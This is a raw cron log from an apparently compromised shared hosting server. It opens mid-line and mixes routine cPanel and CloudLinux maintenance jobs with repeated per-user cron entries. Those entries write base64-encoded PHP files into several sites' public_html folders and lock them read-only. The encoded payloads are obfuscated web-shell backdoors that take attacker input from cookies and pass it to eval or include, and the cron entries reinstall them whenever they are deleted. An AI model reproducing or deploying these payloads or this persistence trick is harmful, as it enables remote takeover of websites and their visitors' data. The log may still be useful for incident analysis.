k7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:09:01 medusa CROND[9294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:09:01 medusa CROND[9292]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 07:10:02 medusa CROND[11339]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 07:10:02 medusa CROND[11341]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 07:10:02 medusa CROND[11342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 07:10:02 medusa CROND[11343]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:10:02 medusa CROND[11344]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:10:02 medusa CROND[11345]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 07:10:02 medusa CROND[11347]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 07:10:02 medusa CROND[11349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 07:10:02 medusa CROND[11348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11356]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11359]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 07:10:02 medusa CROND[11361]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:10:02 medusa CROND[11364]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:10:02 medusa CROND[11365]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:10:02 medusa CROND[11366]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:10:02 medusa CROND[11369]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:10:02 medusa CROND[11371]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:10:02 medusa CROND[11372]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11374]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11368]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11377]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:10:02 medusa CROND[11382]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:10:02 medusa CROND[11370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:10:02 medusa CROND[11378]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 07:10:02 medusa CROND[11362]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:11:01 medusa CROND[13433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:11:01 medusa CROND[13441]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:11:01 medusa CROND[13445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:11:01 medusa CROND[13446]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:11:01 medusa CROND[13447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:11:01 medusa CROND[13448]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:11:01 medusa CROND[13449]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:11:01 medusa CROND[13450]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:11:01 medusa CROND[13453]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:11:01 medusa CROND[13455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:11:01 medusa CROND[13456]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:11:01 medusa CROND[13457]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
